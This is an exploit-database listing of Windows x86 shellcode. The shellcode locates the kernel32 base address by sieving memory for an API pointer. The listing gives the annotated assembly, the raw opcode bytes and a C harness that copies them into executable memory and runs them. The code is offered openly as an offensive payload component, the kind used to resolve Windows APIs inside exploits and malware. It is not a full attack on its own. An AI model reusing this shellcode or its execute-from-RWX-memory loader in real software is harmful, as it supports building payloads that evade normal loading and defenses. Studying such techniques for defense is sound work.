Author

Tarek Ahmed

Risk

[

Security Risk Medium

]

0day-ID

0day-ID-37318

Category

shellcode

Date add

06-02-2022

Platform

win64

; Shellcode Title: Windows/x86 - Locate kernel32 base address / Memory Sieve method Shellcode (133 bytes)
; Description:
; This shellcode is a new method to find kernel32 base address by parsing .text section of memory to find a pointer to kernel32 API.
; Shellcode Author: Tarek Ahmed
; Tested on: Microsoft Windows 7, and 10

/*

MIT License

Copyright (c) 2022 Tarek Ahmed

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.


xor eax, eax
cdq

pop eax					; get the return address of .text section where the call of exec happened.
push eax
sub esp, 0x8 			; Reserve space on stack for variables
xor ecx, ecx
checkFirstByte:			; This will start finding the first two bytes of the instruction mov dword ptr[!!!]
inc ecx 		
mov  edx, dword ptr[eax+ecx]
cmp dl, 0xff
jne checkFirstByte
cmp byte ptr[eax+ecx+1], 0x15
jne checkFirstByte
jmp foundByte


foundByte:
	mov bl, byte ptr [eax+ecx+5]
	cmp bl, 0 			; make sure we don't step on next instruction
	je foundPtr
	jmp checkFirstByte

foundPtr:
	xor ebx, ebx
	mov ebx, dword ptr[eax + ecx + 2]
	mov edi, [ebx]
	shr edi, 28 			; We found pointer to an api, check if it start with 7 e.g. 0x7000000
	cmp edi, 7
	je foundPossibleAddr 	; If it starts with 7, then we have a possible kernel32 address
	jmp checkFirstByte


foundPossibleAddr:
	mov ebx, [ebx]
	xor edx, edx
	mov dx, 0x1001 			
	add edx, 0xefff

findMZ: 					
	sub ebx, edx 			; we need to subtract 0x10000 to get the base
	mov bx, dx

	mov ax, [ebx]
	cmp ax, 0x5a4d			; Check if it's a PE file which starts with "MZ"	
	jne findMZ 				; If not, then subtract 0x10000 again to go one more page down.

	mov edi, [ebx + 0x3c]	; Finally we found a possible DLL file, we need to parse it now.
	add edi, ebx
	mov edi, [edi + 0x78]
	add edi, ebx
	mov edi, [edi + 0xc]
	add edi, ebx
	add edi, 4

	xor eax, eax
	push eax
	push 0x6c6c642e 		; .dll
	push 0x32334c45			; ELE32 
	mov esi, esp			; We don't need the whole name, just ELE32.dll

checkKernel :
	mov edx, ecx
	mov ecx, 8
	cld

	repe cmpsb		
	cmp ecx, 0
	jne checkFirstByte		; If we pass this check then we found our kernel32 base


*/

#include <windows.h>
#include <iostream>
#include <stdlib.h>
#include <stdio.h>


unsigned char code[] = "\x31\xC0\x99\x58\x50\x83\xEC\x08\x31\xC9\x41\x8B\x14\x08\x80\xFA\xFF\x75\xF7\x80\x7C\x08\x01\x15\x75\xF0\xEB\x00\x8A\x5C\x08\x05\x80\xFB\x00\x74\x02\xEB\xE3\x31\xDB\x8B\x5C\x08\x02\x8B\x3B\xC1\xEF\x1C\x83\xFF\x07\x74\x02\xEB\xD1\x8B\x1B\x31\xD2\x66\xBA\x01\x10\x81\xC2\xFF\xEF\x00\x00\x29\xD3\x66\x89\xD3\x66\x8B\x03\x66\x3D\x4D\x5A\x75\xF2\x8B\x7B\x3C\x01\xDF\x8B\x7F\x78\x01\xDF\x8B\x7F\x0C\x01\xDF\x83\xC7\x04\x31\xC0\x50\x68\x2E\x64\x6C\x6C\x68\x45\x4C\x33\x32\x89\xE6\x89\xCA\xB9\x08\x00\x00\x00\xFC\xF3\xA6\x83\xF9\x00\x75\x85";

int main()
{
	

	void* exec = VirtualAlloc(0, sizeof(code), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	memcpy(exec, code, sizeof(code));
	((void(*)())exec)();

	return 0;
	



}

#  0day.today [2024-05-20]  #